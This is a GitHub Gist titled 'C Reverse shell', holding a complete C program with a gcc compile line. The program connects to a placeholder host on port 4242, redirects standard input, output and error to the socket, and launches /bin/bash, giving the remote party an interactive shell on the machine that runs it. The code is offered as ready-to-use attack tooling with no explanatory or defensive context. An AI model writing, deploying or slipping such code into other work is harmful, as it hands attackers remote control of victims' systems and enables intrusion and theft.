Created
October 18, 2021 14:06
-
-
Save SakiiR/c04801405e09dac592ee1462869e9b16 to your computer and use it in GitHub Desktop.
C Reverse shell
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// gcc /tmp/reverse-shell.c -o /tmp/test | |
#include <arpa/inet.h> | |
#include <netinet/in.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <sys/socket.h> | |
#include <sys/types.h> | |
#include <unistd.h> | |
#include <netdb.h> | |
#define HOST ("xxxxxxxxxxxxxxxxxxx") | |
#define PORT (4242) | |
#define SHELL ("/bin/bash") | |
#define STDIN (0) | |
#define STDOUT (1) | |
#define STDERR (2) | |
int main(void) { | |
struct sockaddr_in revsockaddr; | |
int sockt = socket(AF_INET, SOCK_STREAM, 0); | |
struct hostent *hp = gethostbyname(HOST); | |
if (!hp) | |
return 1; | |
revsockaddr.sin_family = AF_INET; | |
revsockaddr.sin_port = htons(PORT); | |
revsockaddr.sin_addr.s_addr = *(unsigned long *)hp->h_addr; | |
int s = connect(sockt, (struct sockaddr *)&revsockaddr, sizeof(revsockaddr)); | |
if (s == -1) | |
return 1; | |
dup2(sockt, STDIN); | |
dup2(sockt, STDOUT); | |
dup2(sockt, STDERR); | |
char *const argv[] = {SHELL, NULL}; | |
execve(argv[0], argv, NULL); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment